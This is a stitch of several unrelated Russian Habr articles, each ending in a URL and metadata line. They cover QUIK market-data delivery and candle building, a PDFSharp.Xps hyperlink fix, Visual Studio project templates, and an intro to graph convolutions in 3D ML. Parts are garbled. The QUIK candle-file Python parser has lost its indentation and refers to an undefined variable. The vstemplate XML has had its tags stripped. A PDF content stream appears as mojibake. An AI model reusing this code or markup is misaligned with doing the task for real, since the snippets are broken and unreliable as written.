Основным параметром влияющим на принятие решения о покупке/продажи бумаги является рыночная цена. За ценой нужно следить и по возможности следить за несколькими бумагами одновременно. В рамках клиентского места QUIK отслеживание изменения цен происходит в визуальном либо полуавтоматическом режиме просмотра "биржевого стакана". "[Биржевой стакан](https://ru.wikipedia.org/wiki/%D0%91%D0%B8%D1%80%D0%B6%D0%B5%D0%B2%D0%BE%D0%B9_%D1%81%D1%82%D0%B0%D0%BA%D0%B0%D0%BD)" показывает объёмы и цены заявок на покупку и продажу. Совершаемые сделки покупки или продажи изменяют рыночную цену и содержимое стакана. Самописные или профессиональные статистические системы анализируют динамику изменения цены и стараются обеспечить сохранность денежных средств при падении бумаги или повышенный доход при её подъёме.
Для удобства учёта ценные бумаги имеют официально зарегистрированный внутрибиржевой торговый код(тикер), класс бумаги и международный идентификатор(ISIN). Классы бумаг помогают быстро определять принадлежность инструмента к определённому типу ценных бумаг(акция, облигация, долговая расписка, прочее). Система QUIK позволяет подключать внешние модули для формирования и работы с виртуальными классами бумаг. При подключении к бирже либо сторонней торговой системе, сервер QUIK запрашивает список доступных бумаг и классов, которые потом соединяются с внутренними классами и бумагами и транслируются клиентам, подключающимся к торговой системе. Административный интерфейс QUIK позволяет ограничить набор классов и бумаг транслируемых конкретному клиенту или группе клиентов.
При использовании QUIK Exporter или QUIK Fix в механизмах получения текущих котировок нужно понимать, что подход к использованию этих инструментов отличается. QUIK Exporter являясь клиентом торговой системы, по умолчанию получает все доступные ему классы и бумаги с сервера QUIK. Включение фильтра на классы или бумаги в самом QUIK Exporter не приводит к ускорению получения данных, т.к. фильтрация данных происходит в момент их получения на клиенте. При включении ограничения для логина QUIK Exporter на самом сервере через административный интерфейс, фильтрация данных будет обрабатываться на стороне сервера, что позволит исключить лишний трафик и ускорить доставку.
Fix подключение для поставки маркетдаты использует механизм подписки по нужному списку инструментов. При использовании данного подключения рекомендуется периодически перезапрашивать список инструментов с сервера для обновления. К сожалению канал маркетдаты в QUIK Fix не является самодостаточным источником данных котировок, т.к. атрибутивный состав Fix протокола сильно урезан и отличается от атрибутивного состава информации в QUIK Exporter. Как и любой канал подписки, работающий с сырым потоком данных по заявкам и котировкам, при большом объёме списка инструментов могут наблюдаться задержки в передаче данных. При активной торговле в течении торгового дня, особенно в моменты старта и закрытия торговой сессии, может наблюдаться переизбыток данных, который негативно сказывается на отображении информации на стороне клиента. Ни один внешний клиент находящийся в мобильном приложении или веб интерфейсе не сможет обработать поток данных в 50-100 изменений котировки в секунду для одной бумаги. Поэтому удобнее использовать котировки приходящие в предрасчитанном сжатом режиме по каналу QUIK Exporter. Если вы строите аналитическую realtime систему, то при небольшом списке бумаг использование маркетдаты через Fix протокол может быть вполне оправдано.
Если есть необходимость постройки своей статистической системы для отображения биржевых свечей конечным пользователям, то у этой задачи есть несколько путей решения. В большинстве своём для построения биржевых свечей используется механизм анализа совершённых обезличенных сделок. Список обезличенных сделок представляет собой информацию содержащую идентификатор, тикер бумаги, время, цену и объём совершённой на рынке сделки.
Принцип расчета данных очень прост. Значение цены первой сделки в срезе является ценой открытия(open), последней сделки в срезе - ценой закрытия(close), минимальные и максимальные значения соответственно min и max и последнее значение это сумма объёма торгов. Первичным и самым важным требованием для построения правильных биржевых свечей является сохранение последовательности информации полученной из торговой системы. Это требование возникает из-за минимального кванта времени используемого для временного отпечатка сделки в QUIK равного 1 секунде. За одну секунду может быть зарегистрировано несколько сделок и смена их порядка повлияет на расчёт.
В методе хранения, расчёта и предоставления доступа к данным, используемым для визуализации биржевых свечей, каждый выбирает свой путь.
Не очень опытные участники рынка используют обычный SQL в качестве хранилища данных, сталкиваясь позже с огромными издержками и задержками при хранении больших объёмов данных, поисковых индексов и групповых операций при сборке свечи.
Более опытные участники используют механизмы хранения данных основанные на базах временных рядов(influxdb, postgresql+timescaledb, tsdb и прочих). Базы временных рядов имеют специализированные возможности группировки по временному срезу, и различных операций(first(open),last(close),max(high),min(low),sum) по группированным блокам данных, для получения конечного массива значений. Основным недостатком является малая нагрузочная способность таких систем из-за математических операций и группировки.
Самые опытные участники используют комбинированные решения с расчётом свечей в реальном режиме времени, параллельной выгрузке в каналы доставки, базы временных рядов и в кеширующие системы. Нагрузочная способность таких систем может выдерживать десятки тысяч запросов в секунду.
Многие задаются вопросом: "А где взять начальную базу свечей для моей системы?"
Опять же обратимся к системе QUIK. Сервер QUIK умеет расчитывать свечи и сохранять их в реальном режиме времени в свои файлы, содержимое которых может потом передавать клиентам. Формат файла закрыт, но путём анализа файлов и редактора этих файлов был разобран его бинарный формат. Ниже скрипт для автоматического разбора группы файлов из бинарного формата в человекочитаемый.
quik\_candlefile\_dat\_parser.py
```
#!/usr/bin/python
# -*- coding: utf-8 -*-
from hexdump import *
import pathlib, os
import struct
from collections import OrderedDict
import binhex
tpl = [(1, '1 min'),
(2, '2 min'),
(3, '3 min'),
(4, '4 min'),
(5, '5 min'),
(6, '6 min'),
(10, '10 min'),
(20, '20 min'),
(15, '15 min'),
(30, '30 min'),
(60, '1 hour'),
(120, '2 hour'),
(240, '4 hour'),
(-1, '1 day'),
(-2, '1 week'),
(-3, '1 month')]
slices = OrderedDict()
for i in tpl:
(id, name) = i
slices.update({id: name})
def calcoffset(f, datablocks, candlerange=1, numofcandles=1):
sliceslist = list(slices.keys())
sliceindex = sliceslist.index(candlerange)
return sum(datablocks[:sliceindex]), datablocks[sliceindex]
def parsefile(f, candlerange=-1):
datablocks = list()
for slice in slices.keys():
data = f.read(48)
candlerangenum, candlecount = struct.unpack('ii', data[-8:])
datablocks.append(candlecount)
offsetblock, numberofcandles = calcoffset(f, datablocks, candlerange)
print('='*50)
print('%s: Offset %d for %d candles in range %s' % (f.name, offsetblock, numberofcandles, entries[candlerange]))
f.seek(768 + 48 * offsetblock)
for candleid in range(numberofcandles):
data = f.read(48)
(v, o, h, l, c, date, time) = struct.unpack('dddddii', data)
if time == 0:
time = '%06d' % 0
print('File: %s. Candle %d: %s %s. Open: %.2f High: %.2f Low: %.2f Close: %.2f Volume: %.0f' % (
f.name, candleid, date, time, o, h, l, c, v))
with os.scandir('TQBR') as d:
for datfile in sorted(d, key=lambda d: d.name):
if datfile.is_file() & datfile.name.endswith('.dat'):
f = open(datfile.path, 'rb')
parsefile(f, candlerange=-1)
```
Обратите внимание, что последовательность срезов в самом начале скрипта является сломанной. После 10 идёт 20, потом идёт 15. Но это не баг, а "фича". Историю "фичи" не знаю, но при выгрузке среза будьте внимательны, чтоб не ошибиться.
Архивы файлов с расчитанными свечами можно попросить у разработчиков системы QUIK - компании ARQA Technologies.
К сожалению файлы свечей QUIK имеют один существенный недостаток. Длина любого временного среза ограничена размером в 3000 элементов. Поэтому для получения более глубоких данных для определённого среза, следует обратиться к другим источникам.
Перед тем как формировать хранилище срезов оцените необходимую глубину данных по каждому срезу. Самые популярные срезы это 1м,5м,30м,1ч,1д. При расчёте суточного среза необходимо учитывать время работы биржи. Так например торговый день ММВБ начинается в 7 утра, заканчивается в 23:50, у СПБ Биржи начинается в 7 утра и заканчивается в 1:45 ночи. Поэтому если вы обрежете свечи бумаг торгуемых на СПБ Бирже бумаг в 00:00, то расчёты срезов больше 1 дня скорее всего будут неверными. Если вы распространяете свечи и котировки для внешних потребителей, не являющихся клиентами брокера, необходимо помнить о правиле задержки на 15 минут всех биржевых данных, которое прописано в регламенте подключения к биржам.
Вернёмся к котировкам. При совершении сделки по бумаге на бирже, меняется её котировка(рыночная цена). При большом количестве сделок происходит очень много событий изменения цены. При построении аналитических систем использующих ценовые потоки QUIK, следует учитывать следующие особенности:
* Котировки идущие через QUIK Exporter имеют квантование по времени для снятия нагрузки на сервер и клиентов. Т.е. в квант времени из 20 котировок пришедших на сервер, клиенту будет отправлена последняя или агрегированная котировка
* Realtime котировки идущие через QUIK Fix не содержат количества бумаг в сделке
Для уменьшения объёма трафика и увеличения скорости доставки, подписку на котировки через Fix рекомендуется лимитировать ограниченным списком наиболее популярных инструментов. Учитывайте также ширину и загруженность канала до сервера.
Что касается формирования и визуализации биржевого стакана в интерфейсе клиента из потока обезличенных заявок, определитесь сначала с тем, что вы хотите получить от этой визуализации и на чём вы это показываете. Если просто показать клиенту стакан как "фичу" в телефоне, то при большом объёме заявок ничего кроме моргающего нечто вы не получите. Плюс вы тупо будете гонять бесполезный трафик и тратить батарейку телефона. Если вы действительно хотите показать функциональный стакан в интерфейсе, то продумайте алгоритм доставки, требуется ли интерактив по выставлению заявок из стакана, анализируйте потоки обезличенных сделок и заявок. Правильный стакан очень помогает клиенту выставить заявку в нужный момент.
Основные разделы по доставке данных мы разобрали. Подведём итоги:
1. Работа с получением данных в реальном режиме времени требует грамотного планирования информационной системы и понимания специфики источника данных
2. Предоставление данных конечному потребителю должно строиться с минимальными задержками и большой возможностью масштабирования под нагрузки
3. Пользовательские интерфейсы должны прорабатываться заранее, на основании имеющихся или планируемых потоков данных. Не надо гнаться за "фичами", главное функциональность
Мониторинг потоков данных
-------------------------
Рано или поздно возникает вопрос мониторинга и замера RTT для контроля задержек работы торговой системы. Так как же это сделать наиболее доступными и очевидными способами ?
1. Замер через выставление заявки. Используя Fix или LUA выставить фейковую заявку по внутренней/биржевой бумаге, которая никогда не исполнится. При помощи Fix, LUA или Quik Exporter поймать эту заявку по идентификатору клиента и посчитать время получения. После этого снять заявку и еще раз посчитать время. Данный метод покажет RTT между клиентом, сервером, биржей и клиентом
2. Замер через корректировку баланса. Через любой интерфейс управления изменить баланс сервисного счёта(не имеющего прав торговли) на unixtime с милли или микросекундами, после чего поймать сообщение об изменении баланса на QUIK Exporter. Разница между установленным значением и текущим значением времени(с учётом синхронизации часов на корректировщике, сервере и приёмнике) покажет задержку доставки данных от сервера до потребителя
3. Оценка скорости приёма данных на QUIK Exporter и производительности приёмника данных. Если у вас в системе большое количество клиентов и таблицы MoneyLimits и DepoLimits содержат большое количество записей, то есть простой способ замерить время доставки через лог QUIK Exporter. Дело в том, что в момент начала фазы передачи данных таблиц MoneyLimits и DepoLimits, QUIK Exporter полностью блокирует приём любых данных кроме этих, до окончания передачи.
Фаза начала загрузки данных характерируется наличием строки
"New AT\_DATA\_MARKER alert type N\_MONEY\_LIMIT state 0" или "New AT\_DATA\_MARKER alert type N\_DEPO\_LIMIT state 0".
Фаза завершения загрузки данных характеризуется наличием строк
"New AT\_DATA\_MARKER alert type N\_MONEY\_LIMIT state 1" или "New AT\_DATA\_MARKER alert type N\_DEPO\_LIMIT state 1".
Строка MoneyLimits(count-xxxx queue-xxxxx) покажет вам готовность вашего сервера принимать входящий поток данных. Разделите количество элементов в поле count на время в секундах между двумя фазами и вы получите тот объём элементов, который готов принять ваш ODBC приёмник или библиотека в секунду. Чем больше поле queue, тем больше проблема с быстродействием
Вот в принципе и всё, что я хотел рассказать в данной статье. Как показывает опыт, не бывает идеальных систем, любая из имеющихся или строящихся систем имеет свои недостатки и преимущества. Если правильно подходить к архитектуре построения информационных систем предприятия, учитывая специфику смежных продуктов, можно достичь очень хороших результатов для себя и своих клиентов.
(C) Aborche 2022 | https://habr.com/ru/post/680872/ | null | ru | null |
# WPF > PDF через PDFSharp.Xps: чиним вывод гиперссылок
Короткий пост в продолжение к моему [предыдущему посту](http://habrahabr.ru/post/201836/) про генерацию PDF из WPF-приложения с помощью PDFSharp. Как описано в той статье, генерация производится с использованием **FlowDocument** в качестве посредника. Во **FlowDocument** мы можем использовать **Hyperlink** для вывода разного вида гиперссылок, но оказалось, что использованная мной версия **PDFSharp.Xps** конвертера тупо игнорирует прикрепленные к элементам **XpsElement** аттрибуты **FixedPage\_NavigateUri**.
Я потратил какое-то времени на то, чтобы разобраться с форматом вывода PDF 1.4, но пока не смог понять как правильно починить печать в **PdfContentWriter** проекта **PDFSharp.Xps**.
Под катом представлено более простое решение, а именно наложение гиперссылки на текст в виде **Link Annotation**. Также в конце статьи Вы найдете результат моих изысканий на тему «кошерного» решения проблемы, через внедрение в процесс вывода в PDF примитивов.
#### Решение через Link Annotation
[Вот](https://github.com/homoluden/WPF2PDF/commit/3be8d6abf0adb1b7a1990f6059fa7d79b6608266) ссылка на каммит с фиксом. Как написал в тизере, в коде **PdfContentWriter** я добавил создание Link Annotation. Сделал я это в методе **WritePath(...)** (см. код ниже).
```
// Checking is there a link attached with this Path
if (path.FixedPage_NavigateUri != null && !string.IsNullOrEmpty(path.FixedPage_NavigateUri.Trim()))
{
var bounds = path.Data.GetBoundingBox();
var xpsPage = path.Parent as FixedPage;
if (xpsPage != null)
{
var pxToPtScale = xpsPage.PointHeight/xpsPage.Height;
try
{
var uri = new Uri(path.FixedPage_NavigateUri);
page.AddWebLink(
new PdfRectangle(bounds.Left*pxToPtScale, page.Height - bounds.Top*pxToPtScale,
bounds.Right*pxToPtScale, page.Height - bounds.Bottom*pxToPtScale),
uri.AbsoluteUri);
}
catch (Exception)
{
Debug.Assert(false, "WritePath(...) > Invalid URI string provided");
}
}
}
```
В данном коде я просто получаю границы только что добавленного на PDF страницу объекта Path и делаю я это лишь для тех Path, которые имеют непустое значение **FixedPage\_NavigateUri**. Как оказалось, вертикальная ось листа PDF направлена противоположно той же оси в XPS, поэтому вертикальные координаты границы блока вычитаем из высоты страницы. Далее полученные координаты переводим из экранных пикселей в пункты. Подозреваю, что соответствующий коэффициент зависит от разрешения экранных шрифтов, поэтому вычисляем его динамически. Прикрепленную к Path ссылку пропускаем через класс Uri для проверки, что ссылка валидна. Возможно, для конвертации URI есть более надежный / эффективный / функциональный способ. Используем пока этот способ, как самый простой. Если адрес ссылки окажется невалидным, то просто напишем в Debug-консоль сообщение. Также здесь можно добавить код логирования.
Результат работы конвертера с такой заплаткой представлен на картинке в тизере статьи. Обратите внимание на черный бордюр вокруг ссылки. Это и есть созданная аннотация ссылки. Наличие черного бордюра — проблема, которую можно решить как минимум постпроцессингом созданного PDF. В нем будет в незакодированном виде представлена разметка блока аннотации.
```
16 0 obj
<<
/Type/Annot
/NM(11aabcc9-2402-4718-8184-7ffb9bbb031c)
/M(D:20131119233814+04'00')
/Subtype/Link
/Rect[81.885 64.185 158.123 50.55]
/BS <>
/Border [0 0 0]
/A <>
>>
endobj
```
Подозреваю, что в этой разметке текст "/Border [0 0 0]" задает RGB компоненты цвето бордюра.
#### Результаты расследования
Решение через ссылочную анотацию лежало на поверхности. Единственной сложностью было определение правильных координат. Но решение это не самое лучшее. Правильее будет починить сам вывод примитивов, а не накладывать поверх выведенного Path объекта костыль в виде аннотации. Как видно на картинке в начале статьи, по умолчанию эта аннотация выводится с некрасивым черным бордюром.
Поэтому я скачал [спецификацию к PDF v. 1.4](http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/pdf/pdfs/pdf_reference_archives/PDFReference.zip), открыл проекты PDFSharp и PDFSharp.Xps и стал изучать код.
В класса **PdfLinkAnnotation** я наткнулся на код вида
```
internal override void WriteObject(PdfWriter writer)
{
// ... //
switch (this.linkType)
{
// ... //
case LinkType.Web:
//pdf.AppendFormat("/A<>\n", PdfEncoders.EncodeAsLiteral(this.url));
Elements[Keys.A] = new PdfLiteral("<>", //PdfEncoders.EncodeAsLiteral(this.url));
PdfEncoders.ToStringLiteral(this.url, PdfStringEncoding.WinAnsiEncoding, writer.SecurityHandler));
break;
// ... //
}
```
Гуглинг по строке **/A< вывел меня на страницу [Analyzing PFs](http://theinterw3bs.com/wiki/index.php?title=Analyzing_PDFs), где я увидел примерный вид разметки блока-ссылки.
```
6 0 obj
<<
/Type /Action
/S /URI
/URI (http://stinkeye.org)
>>
endobj
```
Открыв полученный PDF-файл, я обнаружил следующее:
```
4 0 obj
<<
/Type/Page
/MediaBox[0 0 468 295.98]
/Parent 3 0 R
/Contents 5 0 R
/Resources
<<
/ProcSet [/PDF/Text/ImageB/ImageC/ImageI]
/ExtGState
<<
/GS0 6 0 R
/GS1 15 0 R
>>
/Font
<<
/F0 10 0 R
/F1 14 0 R
>>
>>
/Annots[16 0 R]
/Group
<<
/CS/DeviceRGB
/S/Transparency
/I false
/K false
>>
>>
endobj
```
Это блок разметки страницы.
```
5 0 obj
<<
/Length 1114
/Filter/FlateDecode
>>
stream
xњнYЫn7}ПWрҐ/Мп$PђT;Ї
ў p}K‹Zm#@тхЮgW+ieЩN Г«]’CНћ3 ®юg?±і3¶ј№ыkіъwуpіyxГpgаЯY№“БраЩХ=v .....
.....
ЏkЧ~цХ„LА•мuw{ЫфlгQYю”а!ДBjw$д’bс K¬¦¤ЙпD¤оѓ$·A cюPђ”:€Ђl2иfY<ё›ш U` oШЎdvђ¶н{1Фў†zHEЃо<.dnWnЯlyy>Я\Ч Цѕi sп
endstream
endobj
```
Многоточиями скрыт текст, который не поддерживается разметкой хабрахабра. Там много непечатных символов в кодировке WinAnsi. В нее переводятся все созданные конвертером примитивы PDFи Unicode текст, другими словами это сырое содержимое бинорного потока. Стало быть, тут вряд ли найдется что-то интересное. Идем дебажить.
Ставим брейк в **PdfContentWriter.WritePath(Path path)**. Для этого брейк-поинта добавляем условие
```
path.FixedPage_NavigateUri != null && !string.IsNullOrEmpty(path.FixedPage_NavigateUri)
```
чтобы лишний раз не давить на F5.
После того, как мы распарсили шаблон и нажали на кнопку **Print** в главном окне мы попадем в этот брейк-поинт и сможем поглядеть содержимое потока примитивов в текстовом виде. Будет там нечто вроде нижеследующего текста.
```
q % -- BeginContent
0.75 0 0 -0.75 0 295.98 cm
-100 Tz
q % -- begin Glyphs
0 0 0 rg
/GS0 gs
BT
/F0 -1 Tf
24 0 0 24 18.18 40.1867 Tm
0 0 Td <002B0048004F004F0052000F0003002B0044004500550044004B0044004500550004>Tj
ET
Q % -- end Glyphs
q % -- begin Glyphs
0 0 0 rg
/GS0 gs
BT
/F1 -1 Tf
16 0 0 16 18.18 87.3933 Tm
0 0 Td <0028005B005300480055004C005000480051>Tj
4.865 0 Td <0057>Tj
0.34 0 Td <004C0051004A0003005A004C>Tj
2.661 0 Td <0057>Tj
0.34 0 Td <004B000300470052>Tj
1.936 0 Td <0057>Tj
0.34 0 Td <002F004C00540058004C0047000F00030029004F0052005A0027005200460058005000480051>Tj
9.836 0 Td <0057>Tj
0.34 0 Td <000300440051004700030033002700290036004B004400550053>Tj
ET
Q % -- end Glyphs
% ... %
q % -- begin Canvas
1 0 0 1 18.18 145.44 cm
q % -- begin Path
1 0 0 1 5 10.4533 cm
0 0.204 0.506 rg
5 2.5 m
5 3.88 3.88 5 2.5 5 c
1.12 5 0 3.88 0 2.5 c
0 1.12 1.12 0 2.5 0 c
3.88 0 5 1.12 5 2.5 c
h
f*
Q % -- end Path
q % -- begin Glyphs
0 0.204 0.506 rg
/GS0 gs
BT
/F0 -1 Tf
14 0 0 14 20 17.8367 Tm
0 0 Td <00270052004600580050004800510057000300260052005100570048005B0057>Tj
ET
Q % -- end Glyphs
% ... %
Q % -- end Canvas
% ... %
q % -- begin Path
/GS1 gs
0 0 0 rg
109.18 309.06 101.65 18.18 re
f
Q % -- end Path
```
Что мы здесь видим? PostScript инструкции «q — Q» — это графические контексты. Они вложены друг в друга и отступы явно здесь играют роль (да, наверняка все это есть в спецификации к PDF- формату, но у меня нет пока времени его глубоко изучать). Как внедрить в блок разметки Path разметку для блока ссылки
```
<<
/Type /Action
/S /URI
/URI (http://stinkeye.org)
>>
```
я пока не разобрался. Самый близкий вариант разметки нашел в спецификации (стр. 635, пример 9.14):
```
/Link << /MCID 1 >> % Marked-content sequence 1 (link)
BDC % Begin marked-content sequence
0.7 w % Set line width
[ ] 0 d % Solid dash pattern
111.094 751.8587 m % Move to beginning of underline
174.486 751.8587 l % Draw underline
0.0 0.0 1.0 RG % Set stroking color to blue
S % Stroke underline
BT % Begin text object
14 0 0 14 111.094 753.976 Tm % Set text matrix
0.0 0.0 1.0 rg % Set nonstroking color to blue
(with a link) Tj % Show text of link
ET % End text object
EMC % End marked-content sequence
```
В этой разметке не могу понять, что такое "**<< /MCID 1 >>**". Также не совсем ясно, как и где будет правильно разместить этот блок разметки.
Буду очень благодарен за помощь в реализации провильного фикса. Спасибо за внимание!** | https://habr.com/ru/post/202810/ | null | ru | null |
# Пользовательские шаблоны и расширения для Visual Studio под проект (Часть 2: шаблоны проектов)
В прошлый раз я рассуждал на тему расширений и шаблонов, что их можно создавать не только для общего пользования, но и для нужд конкретного проекта. А так же показал, как легко можно создать шаблон элемента (класса, например). Вы можете ознакомиться с предыдущей статьей по [этой ссылке](https://habr.com/ru/post/573582/). Здесь же мы поговорим про создание шаблона проекта.
Начало тут похожее на создание шаблона элемента. Меню *Проект* - *Экспорт шаблона...*
Выбираем *Шаблон проекта*, проект, на основе которого ходим сделать шаблон, жмём *Далее*.
Здесь все так же, как и в случае с шаблоном элемента. Только вместо *Далее* жмем *Готово*.
В проект для шаблона я добавил пустую папку Controllers, пустой класс Startup.cs, одну ссылку на локальный проект и одну ссылку на Nuget пакет.
Найти шаблон проекта значительно сложнее, чем шаблон элемента, потому что проект попадает отнюдь не в начало списка. Тут придется воспользоваться поиском.
Я ни в случае с шаблоном элемента ни в случае с шаблоном проекта создание на основе шаблона не демонстрировал, потому что в этом нет смысла. Создастся то, что вы в шаблон заложили, с тонкими настройками мы не играли. Поэтому сразу перейдем внутренностям нашего шаблона.
Шаблон проекта так же является zip архивом. Вот его содержимое
Здесь файл с иконкой, файл vstemplate с настройками шаблона и файлы (контент) шаблона. Так как это проект, среди файлов есть файл csproj. Ну и файл startup.cs, который мы тоже добавили.
Файл csproj будет идентичен файлу csproj того проекта, с которого мы срисовали шаблон, файлы cs так же будут копиями тех файлов, которые мы разместили в нашем шаблонном проекте.
Интерес тут представляет файл vstemplate.
```
VsExtensionsPolygon.ProjectForTemplate
<Нет описания>
CSharp
1000
true
VsExtensionsPolygon.ProjectForTemplate
true
Enabled
true
true
\_\_TemplateIcon.ico
Startup.cs
```
Как видите, *VSTemplate.Type* тут имеет значение *Project*.
**ProjectType** может содержать одно из трех значений: *CSharp*, *VisualBasic* или *Web*.
**CreateNewFolder** отвечает за создание проекта в отдельной папке.
**LocationField** отвечает за то, будет ли в диалоговом окне создания проекта поле с расположением создаваемого проекта.
**CreateInPlace** флаг. Если true, то замена переменных шаблона на значения происходит на месте, если *false*, то проект сначала создается в темповой папке, затем происходит замена, затем проект перемещается в папку назначения. По умолчанию *true*. Я полагаю, что опцию *false* следует использовать, когда мы создаем множество файлов с использованием переменных. Если создать проект сразу на месте, студия начнет его обработку до полной замены всех переменных, а значит будут потрачены лишние ресурсы.
Здесь элемент **ProjectItem** содержится внутри блока **Project**.
**Project** отвечает за создание проекта. атрибуты у этого элемента идентичны **ProjectItem** (есть некоторые различия, но нас они сейчас не интересуют).
Помните, мы могли найти наш шаблон только по имени? Можно добавить к нему теги. Для этого существует три дополнительных настройки в блоке **TemplateData**. Это **LanguageTag**, **PlatformTag** и **ProjectTypeTag**. Давайте добавим их и посмотрим что получится.
```
CSharp
Windows
Web
```
Заменим файл в архиве и перезапустим студию.
Теперь наш шаблон можно найти по тегам. Чтобы добавить несколько тегов одного типа, нужно в продублировать элементы.
```
csharp
Typescript
```
Полное описание работы с тегами [здесь](https://docs.microsoft.com/en-us/visualstudio/ide/template-tags?view=vs-2019).
Почему то я не смог вывести шаблон проекта вверх изменяя **SortOrder**. Может, кто-нибудь подскажет почему?
Путь для шаблонов проектов, кстати
> C:\Users\[user\_name]\Documents\Visual Studio 2019\Templates\ProjectTemplates
>
>
И еще одна деталь. Возможно это и очевидно, но шаблоны эти для Visual Studio, в dotnet они недоступны. | https://habr.com/ru/post/573930/ | null | ru | null |
# 3D ML. Часть 5: Свертки на графах
В предыдущих заметках данной серии мы уже успели поговорить о датасетах и инструментах, функциях потерь и примерах прикладных задач, а сейчас пора перейти к “ядру” любой подобласти глубокого обучения — к их архитектурам. Но, прежде чем разбираться с тем как устроены целые архитектуры, стоит разобраться в их составных частях, делающих их пригодными для применения к неевклидовым данным.
Наверное вы уже догадались, что речь сегодня пойдет о ***сверточных операторах на графах***.
Серия 3D ML на Хабре:
1. [Формы представления 3D данных](https://habr.com/ru/company/itmai/blog/503358/)
2. [Функции потерь в 3D ML](https://habr.com/ru/company/itmai/blog/504416/)
3. [Датасеты и фреймворки в 3D ML](https://habr.com/ru/company/itmai/blog/516404/)
4. [Дифференциальный рендеринг](https://habr.com/ru/company/itmai/blog/520268/)
5. Сверточные операторы на графах
[Репозиторий](https://github.com/phygitalism/3DML-Habr-paper) на GitHub для данной серии заметок.
Заметка от партнера IT-центра МАИ и организатора магистерской программы “[VR/AR & AI](https://priem.mai.ru/master/programs/item/index.php?id=103770)” — компании [PHYGITALISM](http://phygitalism.com/).
Откуда брать информацию и на чем практиковаться?
------------------------------------------------
Про графы, свертки и машинное обучение по отдельности сказано и написано многое. Если рассматривать эти три темы в одной, то список источников сокращается, однако, у неподготовленного исследователя, который решил разобраться в данном вопросе, скорее всего, не возникнет четкого понимания куда смотреть и с чего начать.
Здесь стоит отметить, что свертки на графах можно рассматривать как в общем виде, не привязываясь к конкретной предметной области, так и учитывать особенности данных с которыми вы работаете.
С наиболее общего ракурса, тема сверток на графах хорошо освещена в обзорной статье “[Representation Learning on Graphs: Methods and Applications](https://arxiv.org/pdf/1709.05584.pdf)” [[1](https://arxiv.org/pdf/1709.05584.pdf)]. Методам машинного обучения на графах посвящены целые университетские спецкурсы, наиболее известным из которых является [Stanford CS224W: Machine Learning with Graphs](http://snap.stanford.edu/class/cs224w-2019/projects.html). По мотивам этого курса есть разбор от [русскоязычного сообщества исследователей Sberloga](https://www.notion.so/Sberloga-with-Graphs-12fafe3224e1483eb435a16aa990e1a1), в котором есть записи обсуждения лекций, примеры кода, разбор разных аспектов теории и практики и многое другое. Также стоит отметить вот [эту статью с хабра от ODS](https://habr.com/ru/company/ods/blog/418727/), в которой упоминается о схожем сообществе для разбора стенфордского курса и заодно изложены несколько основных подходов к получению скрытых представлений графов (т.н. эмбеддинги).
В более сжатом виде есть несколько серий заметок на эту тему на Medium:
1. [How to do Deep Learning on Graphs with Graph Convolutional Networks](https://towardsdatascience.com/how-to-do-deep-learning-on-graphs-with-graph-convolutional-networks-7d2250723780) от [Tobias Skovgaard Jepsen](https://medium.com/@tobiasskovgaardjepsen);
2. Вводная теоретико-практическая заметка [A Gentle Introduction to Graph Neural Networks (Basics, DeepWalk, and GraphSage)](https://towardsdatascience.com/a-gentle-introduction-to-graph-neural-network-basics-deepwalk-and-graphsage-db5d540d50b3) и практико-ориентированная заметка [Hands-on Graph Neural Networks with PyTorch & PyTorch Geometric](https://towardsdatascience.com/hands-on-graph-neural-networks-with-pytorch-pytorch-geometric-359487e221a8) от [Kung-Hsiang, Huang (Steeve)](https://medium.com/@huangkh19951228);
3. [Курс по основам машинного обучения](https://sites.google.com/view/ml-basics/home) от Jan H. Jensen с точки зрения приложения к химии (здесь графы моделируют молекулярные структуры);
4. [Серия заметок](https://medium.com/@BorisAKnyazev/tutorial-on-graph-neural-networks-for-computer-vision-and-beyond-part-1-3d9fada3b80d) на Medium от [Бориса Князева](https://medium.com/@BorisAKnyazev) — взгляд на обработку графов методами машинного обучения с точки зрения компьютерного зрения.
Для области 3D ML методы и алгоритмы, основанные на извлечении информации из графовых структур, являются важным подспорьем. Объекты интереса — это зачастую полигональный меш, который сам по себе является пространственным графом (см. например работу [[15](https://arxiv.org/pdf/1706.05206.pdf)]), или облако точек, которое также можно мыслить как графовую структуру, если соединять между собою точки в облаке по определенным правилам (см. например работу [[14](https://dl.acm.org/doi/pdf/10.1145/3326362)]). Про различные виды сверток на графах, применительно к задачам 3D ML, можно прочитать в [нашем обзоре](https://medium.com/phygitalism/3d-semantic-segmentation-overview-9d6b6384eb04) про алгоритмы семантической сегментации облака точек.
С точки зрения инструментов, в основном исследователи в данной области пользуются либо собственноручно написанными библиотеками, либо библиотеками, которые первоначально предназначались для работы с графами в предметной области (например библиотека [python rdkit](https://github.com/rdkit/rdkit) или [python NetworkX](https://networkx.org/)). На наш взгляд, наиболее удобной библиотекой для построения собственных глубоких архитектур на основе графовых сверток является [PyTorch Geometric](https://pytorch-geometric.readthedocs.io/en/latest/) (на странице с [документацией](https://pytorch-geometric.readthedocs.io/en/latest/notes/introduction.html#learning-methods-on-graphs) можно найти различные примеры графовых датасетов, методов их обработки и загрузки, и различных сверточных слоев). В репозитории библиотеки [TensorFlow Graphics](https://github.com/tensorflow/graphics) также можно найти пример “*Semantic mesh segmentation*”, в котором, с помощью встроенных в библиотеку сверточных операторов, конструируют небольшую глубокую архитектуру для решения задачи семантической сегментации меша. Рекомендуем всем начинающим 3D ML исследователям самостоятельно разобрать описанные выше примеры.
Ниже, в основном повторяя [данный](https://medium.com/@BorisAKnyazev/tutorial-on-graph-neural-networks-for-computer-vision-and-beyond-part-1-3d9fada3b80d) туториал Бориса Князева из пункта 4, мы постараемся разобраться в том как устроены свертки на графах на базовом уровне, чем они отличаются от сверток на изображениях.
Граф как неевклидова структура
------------------------------
*Рис.1 Пример из статьи [[2](https://arxiv.org/pdf/1611.08097.pdf)]: левые изображения демонстрируют, что стандартная свертка (Euclidean CNN) будет по разному обрабатывать данные в зависимости от типа поверхности к которой ее применяют, что, в свою очередь, мотивирует к созданию геометрических сверток (Geometric CNN, правые изображения).*
